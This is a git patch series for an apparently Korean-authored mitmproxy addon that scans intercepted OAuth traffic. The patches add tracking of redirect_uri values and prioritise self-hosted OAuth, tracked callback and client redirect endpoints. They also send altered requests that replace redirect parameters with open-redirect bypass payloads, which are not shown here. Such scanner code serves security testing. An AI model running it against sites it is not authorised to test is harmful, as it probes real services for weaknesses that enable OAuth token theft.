✅ State 테스트 완료: {success_count}/{len(state_attacks)} 취약점 발견") From 8e0523e73438409eb61e20be465b2f860e2f3750 Mon Sep 17 00:00:00 2001 From: gyuu04 Date: Fri, 18 Jul 2025 13:35:43 +0900 Subject: [PATCH 54/56] open redirect --- addon/init.py | 6 +- addon/open_redirect_check.py | 191 +++++++++++++++++++++++++++++------ 2 files changed, 163 insertions(+), 34 deletions(-) diff --git a/addon/init.py b/addon/init.py index 314e6f5..d0618d9 100644 --- a/addon/init.py +++ b/addon/init.py @@ -18,6 +18,8 @@ false_true_varifing_task = FalseTrueVarifingTask() load_dotenv(override=True) +_open_redirect_checker = OpenRedirectChecker() + class AddonBase: """ Base class for addons. @@ -62,8 +64,6 @@ class AddonBase: return False - - async def request(self, flow: http.HTTPFlow): if self.google_login_hint: await try_catch(self.google_login_hint.request(flow)) @@ -73,7 +73,7 @@ class AddonBase: tasks = [ try_catch(PKCEDowngradeChecker().test(flow)), - try_catch(OpenRedirectChecker().test(flow)), + try_catch(_open_redirect_checker.test(flow)), ] await asyncio.gather(*tasks) diff --git a/addon/open_redirect_check.py b/addon/open_redirect_check.py index f3d0c93..202ca35 100644 --- a/addon/open_redirect_check.py +++ b/addon/open_redirect_check.py @@ -3,9 +3,14 @@ import aiohttp import asyncio import random import time -from urllib.parse import urlparse, parse_qs, urlencode, urlunparse +from urllib.parse import urlparse, parse_qs, urlencode, urlunparse, unquote from lib.report_vuln import report_vuln +GLOBAL_REDIRECT_TRACKING = { + 'tracked_redirect_uris': set(), + 'last_cleanup': time.time() +} + class RedirectRateLimiter: """OAuth Open Redirect 체크 전용 rate limiter""" def __init__(self): @@ -1085,10 +1090,67 @@ class OpenRedirectChecker: print(f"[ERROR] 요청 실패 ({url}): {e}") return {'status': 500, 'location': '', 'headers': {}} + def _track_redirect_uri_from_authorization(self, url, parsed, query): + """Authorization 요청에서 redirect_uri 추적""" + + # 메이저 OAuth 제공자에서만 추적 + major_oauth_providers = [ + "accounts.google.com", "oauth2.googleapis.com", + "www.facebook.com", "facebook.com", "graph.facebook.com", + "github.com", "api.github.com", + "login.microsoftonline.com", "login.live.com", + "login.microsoft.com", "account.microsoft.com", + "appleid.apple.com", "accounts.apple.com", + "login.yahoo.com", "accounts.twitter.com", "api.twitter.com", + "linkedin.com", "www.linkedin.com" + ] + + # 메이저 OAuth 제공자가 아니면 추적하지 않음 + if not any(provider in parsed.netloc for provider in major_oauth_providers): + return False + + if 'redirect_uri' in query: + redirect_uri = unquote(query['redirect_uri'][0]) + + # 글로벌 저장소에 추가 + GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris'].add(redirect_uri) + + print(f"[REDIRECT_TRACKING] 📝 redirect_uri 추적: {redirect_uri}") + + # 정기적인 정리 + self._cleanup_old_tracking_data() + + return True + + def _is_tracked_oauth_callback(self, url, parsed, query): + """추적된 redirect_uri와 현재 요청이 매칭되는지 확인""" + + current_base_url = f"https://{parsed.netloc}{parsed.path}" + + if not GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris']: + return False + + for tracked_uri in GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris']: + if current_base_url == tracked_uri: + return True + + return False + def _is_client_redirect_request(self, url, parsed, query): """OAuth 콜백 감지 - OAuth 로그인 완료 후 돌아온 페이지인가 확인""" - # 0. OAuth 제공자 제외 + # B2B/내부 시스템 도메인 제외 + internal_domains = [ + 'zendesk.com', + 'salesforce.com', + 'servicenow.com', + 'atlassian.com', + ] + + if any(domain in parsed.netloc.lower() for domain in internal_domains): + return False + + # OAuth 제공자 제외 oauth_provider_domains = [ # Google "accounts.google.com", "oauth2.googleapis.com", @@ -1111,15 +1173,24 @@ class OpenRedirectChecker: if any(provider in parsed.netloc for provider in oauth_provider_domains): return False + + # 0. 추적된 redirect_uri 매칭 + if self._is_tracked_oauth_callback(url, parsed, query): + # OAuth 응답 파라미터도 확인 + oauth_response_params = ['code', 'access_token', 'id_token', 'state', 'error'] + has_oauth_response = any(param in query for param in oauth_response_params) + + if has_oauth_response: + print(f"[TRACKED_OAUTH] 🎯 추적된 OAuth 콜백 감지: {parsed.netloc}") + return True # 1. URL 경로로 OAuth 콜백인지 확인 - 기존 OAuth 콜백 패턴 oauth_callback_patterns = [ '/oauth/callback', '/auth/callback', '/login/callback', '/oauth/redirect', '/auth/return', '/sso/callback', '/signup', '/register', - '/api/auth/v3/social/callback', # velog.io - '/social/callback', # 일반화 - '/auth/social/callback', # 변형 + '/api/auth/v3/social/callback', '/social/callback', '/auth/social/callback', + '/access/return_to', '/access/', '/return', ] path = parsed.path.lower() @@ -1179,6 +1250,11 @@ class OpenRedirectChecker: # 최종 판단 기준 2 - OAuth 요청 파라미터와 리다이렉트 파라미터가 둘 다 있으면 → OAuth 혼합 패턴! if has_oauth_request and has_oauth_redirect: print(f"[CLIENT_OAUTH] 📱 OAuth 혼합 패턴 감지: {parsed.netloc}") + return True + + # 리다이렉트 패턴 + 리다이렉트 파라미터면 충분 + if is_oauth_callback and has_redirect_param: + print(f"[CLIENT_REDIRECT] 📱 최종 리다이렉트 엔드포인트 감지: {parsed.netloc}") return True return False @@ -1186,7 +1262,7 @@ class OpenRedirectChecker: def _is_self_oauth_request(self, url, parsed, query): """자체 OAuth - authorize 엔드포인트 요청인지 확인 (로그인 불필요)""" - # 0. OAuth 제공자 도메인 제외 + # OAuth 제공자 도메인 제외 oauth_provider_domains = [ "accounts.google.com", "oauth2.googleapis.com", "www.facebook.com", "facebook.com", "graph.facebook.com", @@ -1202,6 +1278,34 @@ class OpenRedirectChecker: if any(provider in parsed.netloc for provider in oauth_provider_domains): return False + + # B2B 연동 제외 (redirect_uri 기반) + if 'redirect_uri' in query: + redirect_uri = unquote(query['redirect_uri'][0]) + + # B2B/내부 시스템 도메인들 + internal_domains = [ + 'zendesk.com', + 'salesforce.com', + 'servicenow.com', + 'atlassian.com', + 'slack.com', + ] + + # redirect_uri가 내부 시스템이면 제외 + if any(domain in redirect_uri.lower() for domain in internal_domains): + return False + + # 내부 시스템 연동 경로 제외 + internal_system_patterns = [ + '/websso/bootstrap', # SSO 부트스트랩 + '/api/internal/', # 내부 API + '/system/', # 시스템 연동 + ] + + path = parsed.path.lower() + if any(pattern in path for pattern in internal_system_patterns): + return False # 1. 자체 OAuth 엔드포인트 패턴 확인 oauth_endpoints = [ @@ -1248,17 +1352,38 @@ class OpenRedirectChecker: if flow.request.method != "GET": return - # OAuth 관련 요청인지 확인 - if (self._is_client_redirect_request(url, parsed, query) or - self._is_self_oauth_request(url, parsed, query)): - await self._test_oauth_redirect(url, parsed, query) - return + # 1. Authorization 요청에서 redirect_uri 추적 + if self._track_redirect_uri_from_authorization(url, parsed, query): + return # Authorization 요청은 여기서 끝 + + # 2. 각 조건을 독립적으로 체크하여 우선순위 결정 + is_tracked_callback = self._is_tracked_oauth_callback(url, parsed, query) + is_self_oauth = self._is_self_oauth_request(url, parsed, query) + is_client_redirect = self._is_client_redirect_request(url, parsed, query) - async def _test_oauth_redirect(self, url, parsed, query): + # 3. 우선순위에 따라 테스트 (높은 위험도 우선) + if is_self_oauth: # 가장 높은 위험도 + print(f"[TEST_TYPE] 🏠 자체 OAuth 시스템: {parsed.netloc}") + await self._test_oauth_redirect(url, parsed, query, test_type="SELF_OAUTH") + elif is_tracked_callback: # 중간 위험도 + print(f"[TEST_TYPE] 🎯 추적된 OAuth 콜백: {parsed.netloc}") + await self._test_oauth_redirect(url, parsed, query, test_type="TRACKED_CALLBACK") + elif is_client_redirect: # 일반 위험도 + print(f"[TEST_TYPE] 📱 클라이언트 리다이렉트: {parsed.netloc}") + await self._test_oauth_redirect(url, parsed, query, test_type="CLIENT_REDIRECT") + + return + + def _remove_tracked_uri(self, uri_to_remove): + """테스트 완료된 URI를 추적 목록에서 제거""" + if uri_to_remove in GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris']: + GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris'].discard(uri_to_remove) + + async def _test_oauth_redirect(self, url, parsed, query, test_type="UNKNOWN"): """OAuth 리다이렉트 취약점 테스트""" - # 중복 테스트 방지 - endpoint_key = f"OAUTH:{parsed.netloc}{parsed.path}" + # 테스트 타입별로 중복 방지 + endpoint_key = f"{test_type}:{parsed.netloc}{parsed.path}" if endpoint_key in self.tested_endpoints: return # 이미 테스트했으므로 패스 @@ -1267,8 +1392,11 @@ class OpenRedirectChecker: self.testing_targets.add(endpoint_key) + # 현재 테스트할 URI 저장 + current_uri = f"https://{parsed.netloc}{parsed.path}" + try: - print(f"[START] 🔍 테스트 시작: {parsed.netloc}{parsed.path}") + print(f"[START] 🔍 테스트 시작 ({test_type}): {parsed.netloc}{parsed.path}") print(f"[TARGET] 타겟: {parsed.netloc}") # 1. state 파라미터 확인 후 조작 @@ -1298,7 +1426,10 @@ class OpenRedirectChecker: # 테스트할 파라미터가 없으면 종료 if not test_params: - print(f"[OAUTH] 리다이렉트 파라미터 없음 - 테스트 ❌") + print(f"[{test_type}] 리다이렉트 파라미터 없음 - 테스트 ❌") + # 테스트할 파라미터 없을 때도 URI 정리 + if test_type == "TRACKED_CALLBACK": + self._remove_tracked_uri(current_uri) return print(f"[OAUTH] 📍 발견된 파라미터들: {test_params}") @@ -1309,7 +1440,7 @@ class OpenRedirectChecker: # 3. 각 파라미터별로 모든 우회 패턴 테스트 for param_name, original_value in test_params: - print(f"\n[OAUTH] 🎯 {param_name} 파라미터 테스트 시작") + print(f"\n[{test_type}] 🎯 {param_name} 파라미터 테스트 시작") for i, payload in enumerate(self.bypass_payloads, 1): print(f"[{i:2d}/{len(self.bypass_payloads)}] {payload.name}", end=" ... ") @@ -1337,8 +1468,15 @@ class OpenRedirectChecker: print("-" * 50) print(f"[OAUTH] ✅ OAuth 테스트 완료: {success_count}개 취약점") + # 테스트 완료 후 URI 정리 + if test_type == "TRACKED_CALLBACK": + self._remove_tracked_uri(current_uri) + except Exception as e: - print(f"[ERROR] OAuth 테스트 실패: {e}") + print(f"[ERROR] {test_type} 테스트 실패: {e}") + # 에러 발생 시에도 URI 정리 + if test_type == "TRACKED_CALLBACK": + self._remove_tracked_uri(current_uri) finally: self.testing_targets.discard(endpoint_key) self.tested_endpoints.add(endpoint_key) @@ -1448,14 +1586,10 @@ class OpenRedirectChecker: # 레이트 리미팅 체크 can_proceed = await redirect_limiter.wait_if_needed(payload.name) if not can_proceed: - print(f"[TARGET_ABANDON] ⏹️ 패턴 테스트 중단: {payload.name}") return False try: - # 1. 테스트 시작 - print(f"[PATTERN] 🚀 {payload.name} 테스트 시작") - - # 2. 우회 URL 생성 + # 1. 우회 URL 생성 if original_redirect_value.startswith('http'): # 이미 완전한 URL인 경우 bypassed_redirect = payload.mutate(original_redirect_value) @@ -1464,23 +1598,18 @@ class OpenRedirectChecker: full_original = f"https://{original_redirect_value}" bypassed_redirect = payload.mutate(full_original) - # 3. 파라미터 보존 전략 - 원본 url의 다른 파라미터들은 그대로 두고 redirect 파라미터만 악성으로 바꿈 + # 2. 파라미터 보존 전략 - 원본 url의 다른 파라미터들은 그대로 두고 redirect 파라미터만 악성으로 바꿈 modified_query = query.copy() modified_query[redirect_param] = [bypassed_redirect] new_query_string = urlencode(modified_query, doseq=True) test_url = urlunparse(parsed_url._replace(query=new_query_string)) - # 4. 요청 전송 + # 3. 요청 전송 response = await self._send_request(test_url) - # 5. 응답 분석 + # 4. 응답 분석 result = await self._analyze_response(original_url, test_url, bypassed_redirect, response, payload) - - if result: - print(f"[PATTERN] ✅ {payload.name} → SUCCESS") - else: - print(f"[PATTERN] ✅ {payload.name} → SAFE") return result From a4b14ab20fca2782e9b6ff1ba8b2c8a0ae305014 Mon Sep 17 00:00:00 2001 From: gyuu04 Date: Mon, 21 Jul 2025 20:30:27 +0900 Subject: [PATCH 55/56] Update init.py --- addon/init.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/addon/init.py b/addon/init.py index d0618d9..aafde91 100644 --- a/addon/init.py +++ b/addon/init.py @@ -73,7 +73,6 @@ class AddonBase: tasks = [ try_catch(PKCEDowngradeChecker().test(flow)), - try_catch(_open_redirect_checker.test(flow)), ] await asyncio.gather(*tasks) @@ -87,6 +86,7 @@ class AddonBase: try_catch(ClientSecret().test(flow)), try_catch(AccessTokenScanner().scan(flow)), try_catch(GoogleResponseTypeToken().test(flow)), + try_catch(_open_redirect_checker.test(flow)), ] await asyncio.gather(*tasks) From 27e7a290bace5438e429cfbb960708c6c9b55d2c Mon Sep 17 00:00:00 2001 From: gyuu04 Date: Tue, 22 Jul 2025 16:02:45 +0900 Subject: [PATCH 56/56] =?UTF-8?q?=EC=A7=84=ED=96=89=EB=A5=A0=20=EC=98=A4?= =?UTF-8?q?=EB=A5=98=20=EC=88=98=EC=A0=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- addon/open_redirect_check.py | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/addon/open_redirect_check.py b/addon/open_redirect_check.py index 202ca35..6f2684c 100644 --- a/addon/open_redirect_check.py +++ b/addon/open_redirect_check.py @@ -19,7 +19,6 @@ class RedirectRateLimiter: self.failure_count = 0 self.consecutive_failures = 0 self.blocked_until = 0 - self.pattern_index = 0 # 현재 테스트 중인 패턴 번호 self.should_abandon_target = False # 설정값 (전체 패턴 기준으로 최적화) @@ -36,7 +35,6 @@ class RedirectRateLimiter: self.failure_count = 0 self.consecutive_failures = 0 self.blocked_until = 0 - self.pattern_index = 0 self.should_abandon_target = False print("[RATE_LIMIT] 새로운 타겟을 위해 Rate Limiter 리셋됨") @@ -76,10 +74,6 @@ class RedirectRateLimiter: self.last_request = time.time() self.request_count += 1 - self.pattern_index += 1 - - if self.pattern_index % 5 == 0: - print(f"[PROGRESS] 📊 {self.pattern_index}/71 패턴 테스트 완료 ({(self.pattern_index/71)*100:.1f}%)") return True @@ -1381,7 +1375,7 @@ class OpenRedirectChecker: async def _test_oauth_redirect(self, url, parsed, query, test_type="UNKNOWN"): """OAuth 리다이렉트 취약점 테스트""" - + # 테스트 타입별로 중복 방지 endpoint_key = f"{test_type}:{parsed.netloc}{parsed.path}" @@ -1445,6 +1439,10 @@ class OpenRedirectChecker: for i, payload in enumerate(self.bypass_payloads, 1): print(f"[{i:2d}/{len(self.bypass_payloads)}] {payload.name}", end=" ... ") + if i % 10 == 0: + progress = (i / len(self.bypass_payloads)) * 100 + print(f"\n[PROGRESS] 📊 {i}/{len(self.bypass_payloads)} 패턴 테스트 완료 ({progress:.1f}%)") + result = await self._test_bypass_pattern( url, query, parsed, original_value, payload, param_name )